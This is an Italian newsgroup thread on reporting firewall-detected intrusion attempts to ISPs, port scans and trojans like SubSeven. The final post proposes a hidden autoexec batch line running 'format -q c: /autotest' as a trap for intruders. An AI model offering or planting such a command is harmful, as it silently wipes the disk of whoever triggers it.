Newsgroup: it.comp.sicurezza.windows
Titolo: Tentativo di intrusione....che fare ?

Come molti nuovi utenti di firewall sono rimasto stupito dal gran numero di
tentativi di intrusione (anche se spesso si tratta solo di una scansione
delle porte su molti indirizzi).
Per questo motivo ho pensato di iniziare a denunciare agli ISP questi
eventi, anche se non hanno portato danni; il semplice scopo dovrebbe essere
quello di far "punire" questi deficienti almeno con l'interdizione
dell'accesso internet sia esso gratuito che a pagamento.
I tentativi di utenti Tin.it li ho segnalati ad 
ab...@tin.it
 che così ha
risposto:
"Salve,
TIN.IT
 non effettua alcun controllo preventivo o consuntivo su quanto
espresso dai suoi abbonati e pertanto non è in alcun modo responsabile nè
del contenuto dei loro messaggi nè delle eventuali azioni illecite da essi
compiute per le quali sono gli unici responsabili.
Se ritiene di essere stato danneggiato in qualche modo Le consigliamo di
sporgere regolare denuncia alle autorità competenti, dietro richiesta della
quale forniremo tutti i dati a nostra disposizione per il regolare
svolgimento delle indagini.
La informiamo comunque che stiamo prendendo adeguate iniziative nei
confronti dei nostri abbonati che hanno tentato l'attacco alla Sua macchina.
Cordiali saluti"
.......Significa che possono fare qualche cosa anche senza denuncia alla PS?
e cosa ?
Avete qualche suggerimento (capisco che i mezzi per dissuadere questi stolti
della rete siano pochi...) ?....altre autorità od enti a cui rivolgersi ?
Grazie infinite e scusate per la lunghezza del mio intervento.
Alberto Bertola
P.S.: devo anche ringraziare il ng perchè lurkando un po sto imparando
molto......!!! :-)))

 espresso dai suoi abbonati e pertanto non č in alcun modo responsabile nč
[...]
E' una risposta standard che hanno inviato piu' volte anche a me: secondo me
la postano in automatico... e non fanno nulla contro l'intruso. Almeno, io
praticamente ogni sera ritrovo sempre lo stesso che ho segnalato tempo fa.
:-(
--
Mario "M@rius" Lener
e-mail: 
MLmari...@libero.it
(Rimuovere "ML" dall'indirizzo)

ma che stai addě?
ma quante tentate intrusioni ti capiteranno mai?
e che sei, 'na banca?
--
zzzar
- irriverente - politically Scorrect - DentroLaRete
http://dentrolarete.cjb.net

 e che sei, 'na banca?
In media 4 per ogni ora di connessione. Comunque, il piu' delle volte si
tratta di persone che non fanno un attacco diretto al Pc di Tizio, ma
scansionano direttamente l'intera classe assegnata a un determinato
provider. Io per esempio sto tracciando da un paio di giorni un utente TIN
che sembra essersi concentrato sul range di indirizzi assegnato a Libero.
Altre volte invece si tratta di (parzialmente) ignari utenti di mIRC che
installano script come il Devil Script, che a sua volta lancia una serie di
scanner sulle porte e client come il SubSeven o il NetBus.
Comunque, con un normalissimo firewall si vive tranquilli. :-)
Ciao,


fai pure quello che ti sembra giusto fare ma per quanto ne so io "bussare ad
un aporta" non è reato .. :)
ciao


mi sembra di averla postata io qualche mese fa questa frase.....
Comunque è vero non credo che ci siano gli estremi specialmente se jno hai
subito danni anche perchè starebbe a te dimostrare che c'è stata malafede
dall'altra parte.
Denunciamo gli spammers invece che rompono con le loro E-Mail.
Ciao

 Denunciamo gli spammers invece che rompono con le loro E-Mail.
Lo faccio sempre ma temo che ai vari abuse@... non gline freghi niente....
ciao!

Alberto
Se ce l'hai potrebbero entrarti nel pc e farsi un giretto..
-- 
Don't Let Your Fears Stand In The Way Of Your Dreams
DEly...@dely-net.com
http://www.dely-net.com/
ICQ# - 8761263
-- 

 >Alberto
Non c'è di che Ciao

tipo di Trojan.
Un portscan per "servizi" lo fai solo su certe determinate porte...
Non ci sono servizi [non standard] che viaggiano sopra la 1024, mentre
le backdoor sono tutte sopra la 1024.
I servizi comunque sono solo su queste porte:
21 [ftp], 25 [smtp], 110 [pop3], 119 [news], 80 [http], 53 [dns]
Che altri servizi potresti cercare?
Se cerchi telnet 99 su 100 non hai accesso, quindi che ti frega che
abbia la 23 aperta oppure chiusa?


 ha scritto nel messaggio
news:8oc6r3$16$3...@nslave1.tin.it...

Quasta mi piace !!! :-))
Non è che mi daresti qualche suggerimento in più su queste trappole o almeno
dove trovare info per crearmele........
Grazie
Alberto


 > >Grazie comunque per i vostri commenti.
Figo...quasi quasi lo faccio anche io...potrebbe bastare, creare un
fake-account con password, scritto quello che voglio e poi cancellare lo
stesso account e prendermi il file *.pwl, tu hai fatto cosě? oppure c'č un
altro modo, ammesso che questo funzioni...!
ToM_


  ToM_ Io non capisco &:-| !!!!

Fatti un batch files di quelli che ti aggiungono linee nell'autoexec ,
nascoste nel boot (coll'@ iniziale) ,
tipo format -q c: /autotest , e poi compila il file....
carino come sorpresa....